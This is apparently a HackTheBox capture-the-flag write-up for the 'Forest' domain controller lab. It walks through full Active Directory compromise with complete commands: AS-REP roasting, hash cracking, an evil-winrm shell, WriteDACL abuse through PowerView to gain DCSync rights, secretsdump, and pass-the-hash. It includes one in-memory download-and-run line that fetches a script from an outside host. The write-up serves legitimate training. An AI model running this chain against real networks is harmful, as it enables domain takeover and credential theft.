Forest¶
| Field | Value |
|---|---|
| Platform | HackTheBox |
| OS | Windows Server 2016 Standard (Domain Controller) |
| Difficulty | Easy |
| Initial Vector | Null session RID enumeration → AS-REP Roasting → WinRM shell |
| Privesc | BloodHound → WriteDACL abuse → DCSync → Pass-the-Hash |
Phase 1 — Reconnaissance¶
I started with a fast SYN sweep across all TCP ports to map the exposed attack surface, then ran a focused version and script scan against the discovered ports.
nmap -sS -p- --min-rate 5000 10.129.95.210 -n -Pn -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49680,49681,49684,49700 --min-rate 5000 10.129.95.210 -n -Pn
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-15 03:39:38Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, ...)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, ...)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
Host: FOREST | Domain: htb.local | FQDN: FOREST.htb.local
OS: Windows Server 2016 Standard 14393
SMB signing: enabled and required
| Port | Service | Version | Notes |
|---|---|---|---|
| 53 | DNS | Simple DNS Plus | — |
| 88 | Kerberos | — | Confirms Domain Controller |
| 139 | NetBIOS | — | — |
| 389 | LDAP | — | Domain: htb.local |
| 445 | SMB | Windows Server 2016 Std 14393 | Signing required |
| 3268 | LDAP (GC) | — | Global Catalog |
| 5985 | WinRM (HTTP) | Microsoft HTTPAPI 2.0 | Potential shell entry point |
| 9389 | mc-nmf | .NET Message Framing | AD Web Services |
Kerberos on 88 and LDAP on 389 confirmed a Domain Controller, with the domain htb.local leaked directly by both banners. Port 5985 (WinRM) being open is immediately relevant — it becomes the shell delivery method once valid credentials are obtained. SMB signing required on 445 eliminated relay attacks. I added the domain to /etc/hosts before continuing.
echo "10.129.95.210 htb.local" >> /etc/hosts
Phase 2 — Service Enumeration¶
SMB (445)¶
I started with null and guest session checks to determine what was accessible without credentials.
nxc smb 10.129.95.210 -u '' -p '' --shares
# SMB 10.129.95.210 445 FOREST [-] Error enumerating shares: STATUS_ACCESS_DENIED
nxc smb 10.129.95.210 -u 'Guest' -p '' --shares
# SMB 10.129.95.210 445 FOREST [-] htb.local\Guest: STATUS_ACCOUNT_DISABLED
nxc smb 10.129.95.210 -u 'asdasd' -p '' --shares
# SMB 10.129.95.210 445 FOREST [-] htb.local\asdasd: STATUS_LOGON_FAILURE
Share access was blocked across all methods. However, share access and user enumeration are controlled by separate permissions — RID cycling over a null session still worked, which is a common misconfiguration on Windows environments where anonymous pipe access to IPC$ is allowed even when share browsing is not.
nxc smb 10.129.95.210 -u '' -p '' --users | grep 'FOREST' | grep -v '\[' | grep -v '\-Username\-' | awk '{print $5}' > users.txt
I cross-checked via rpcclient to confirm Domain Admins group membership — knowing the DA accounts before any escalation attempt narrows the target.
rpcclient -U "" -N 10.129.95.210
enumdomusers
querygroupmem 0x200 # Domain Admins group RID
queryuser 0x1f4 # Administrator resolved by RID
This confirmed Administrator as the sole Domain Admin.
LDAP (389)¶
An anonymous bind was available, so I pulled a full directory dump for offline review before moving to any active attacks.
ldapsearch -x -H ldap://10.129.95.210 -b "dc=htb,dc=local" "(objectClass=*)" > ldap_dump.txt
After recovering credentials for svc-alfresco, I ran ldapdomaindump to produce structured HTML reports of domain groups and users. ldapdomaindump walks the LDAP directory and formats the output into tables sorted by group memberships — particularly useful for spotting non-obvious privilege chains before running BloodHound.
ldapdomaindump -u 'htb.local\svc-alfresco' -p 's3rvice' 10.129.95.210
Kerberos (88)¶
I corrected the system clock before any Kerberos operations — requests beyond ±5 minutes of skew are silently rejected by the KDC.
timedatectl set-ntp false
ntpdate -u 10.129.95.210
With users.txt built from null session RID enumeration, I checked for accounts with Kerberos pre-authentication disabled. AS-REP roasting exploits this misconfiguration by requesting an Authentication Service Response (AS-REP) without supplying a password — the KDC returns a ticket encrypted with the account's hash, which can be cracked offline. No valid credentials are needed to initiate the attack.
GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.95.210 'htb.local/'
svc-alfresco had pre-authentication disabled and returned an AS-REP hash.
[email protected]:ffc87d67ce3524e2031e7c8e305bf7ea$ff35a8a266dbfd40...
I cracked the hash offline with John.
john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Credentials recovered: svc-alfresco : s3rvice.
With valid credentials I also checked for Kerberoastable accounts — none were found.
GetUserSPNs.py htb.local/svc-alfresco:s3rvice -dc-ip 10.129.95.210 -request
# No entries found!
SMB — Authenticated Re-enumeration¶
With svc-alfresco credentials, I re-enumerated accessible shares to check whether the auth context opened anything new.
nxc smb 10.129.95.210 -u 'svc-alfresco' -p 's3rvice' --shares
IPC$, NETLOGON, and SYSVOL were readable. I browsed all three and enumerated SYSVOL specifically for Groups.xml files (GPP credentials), but none were present — unlike the Active machine, this environment had no legacy GPP credentials to recover.
smbclient //10.129.95.210/SYSVOL -U htb.local/'svc-alfresco'%'s3rvice'
WinRM (5985)¶
I verified that svc-alfresco could authenticate over WinRM before opening a shell, since WinRM requires the account to be a member of Remote Management Users or local admins.
nxc winrm 10.129.95.210 -u 'svc-alfresco' -p 's3rvice'
# [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
Phase 3 — Attack Path¶
Initial Access¶
I opened an interactive shell as svc-alfresco via evil-winrm using the credentials recovered from AS-REP roasting.
evil-winrm -i 10.129.95.210 -u 'svc-alfresco' -p 's3rvice'
The user flag was retrieved from C:\Users\svc-alfresco\Desktop\user.txt.
Post-Shell Enumeration¶
With a foothold established, I used BloodHound CE to map all privilege relationships in the domain and identify a path to Domain Admin. BloodHound ingests LDAP and SMB data via SharpHound or NetExec, then models the domain as a graph — nodes are principals and edges are ACL rights, group memberships, and session data. Non-obvious escalation paths that would take hours to find manually surface in seconds.
/opt/Bloodhound/bloodhound-cli up
nxc ldap 10.129.95.210 -u 'svc-alfresco' -p 's3rvice' \
--bloodhound --collection All --dns-server 10.129.95.210
The output ZIP was uploaded to the BloodHound CE interface at http://localhost:8080.
BloodHound revealed the following privilege chain:
svc-alfrescois a member of Service Accounts, which is nested inside Privileged IT Accounts, which is nested inside Account Operators.- Account Operators is a built-in group that can create users and add them to non-protected groups — including Exchange Windows Permissions.
- Exchange Windows Permissions holds
WriteDACLover the domain object (DC=htb,DC=local).WriteDACLallows modifying the object's Access Control List, which means any member can grant themselves or another principal additional rights on the domain object itself — including DCSync rights. - DCSync rights (
DS-Replication-Get-Changes+DS-Replication-Get-Changes-All) allow a principal to impersonate a domain controller and request a full replication of all domain secrets, including every account's NTLM hash.
Lateral Movement¶
I created a new domain user and added them to Exchange Windows Permissions from within the evil-winrm shell. Account Operators members can do this without requiring Domain Admin rights, which is exactly what made the chain viable.
net user KasaneHackto Hackt0123 /add /domain
net group "Exchange Windows Permissions" KasaneHackto /add
net user KasaneHackto
I then loaded PowerView into memory directly from a Python HTTP server — no disk write needed, which keeps AV exposure minimal. PowerView's Add-DomainObjectAcl function modifies ACL entries on AD objects; in this case I used it to grant KasaneHackto the two replication extended rights required for DCSync.
# On Kali — serve PowerView
python -m http.server 9090
# In evil-winrm shell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.80:9090/PowerView.ps1')
$SecPassword = ConvertTo-SecureString 'Hackt0123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\KasaneHackto', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity KasaneHackto -Rights DCSync
The -Credential parameter is necessary here because the shell is running as svc-alfresco — the ACL modification needs to be authenticated as KasaneHackto, the account that actually holds WriteDACL through its Exchange Windows Permissions membership.
Privilege Escalation¶
With DCSync rights granted to KasaneHackto, I ran secretsdump.py to perform a full domain secrets replication. DCSync works by having secretsdump.py impersonate a Domain Controller and issue MS-DRSR replication requests — the real DC responds by sending back all account hashes as if to a peer replication partner, no code execution on the DC required.
secretsdump.py htb.local/KasaneHackto:'Hackt0123'@10.129.95.210
The Administrator NT hash was recovered: 32693b11e6aa90eb43d32c72a07ceea6. WinRM was available but slow; I used psexec.py with Pass-the-Hash instead, supplying the LM placeholder alongside the NT hash in the format psexec.py expects.
psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Shell obtained as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.
Flags¶
| Flag | Path | Value |
|---|---|---|
| User | C:\Users\svc-alfresco\Desktop\user.txt |
FLAG{REDACTED} |
| Root | C:\Users\Administrator\Desktop\root.txt |
FLAG{REDACTED} |
Conclusion¶
- A two-phase Nmap scan confirmed a Windows Server 2016 Domain Controller with SMB, LDAP, Kerberos, and WinRM exposed; the domain
htb.localwas leaked via LDAP and SMB banners. - Null session share access was denied, but RID cycling over the null session still enumerated the full domain user list, producing
users.txtwithout any credentials. - AS-REP roasting against
users.txtidentifiedsvc-alfrescowith pre-authentication disabled; the returned hash was cracked offline to recover svc-alfresco : s3rvice. - WinRM access was confirmed for
svc-alfresco; anevil-winrmshell was opened and the user flag retrieved. - BloodHound CE mapped the privilege chain:
svc-alfresco→ Account Operators (via nested groups) → Exchange Windows Permissions →WriteDACLon the domain object → DCSync rights grantable to any principal. - A new user
KasaneHacktowas created, added to Exchange Windows Permissions, and granted DCSync rights via PowerView'sAdd-DomainObjectAcl;secretsdump.pyextracted theAdministratorNT hash. psexec.pyPass-the-Hash delivered anNT AUTHORITY\SYSTEMshell and the root flag.
The system fell because a service account (svc-alfresco) had Kerberos pre-authentication disabled — handing over a crackable hash with no credentials required — and its nested group membership through Account Operators into Exchange Windows Permissions created an unintended WriteDACL path to the domain object, collapsing the entire domain from a single weak account configuration.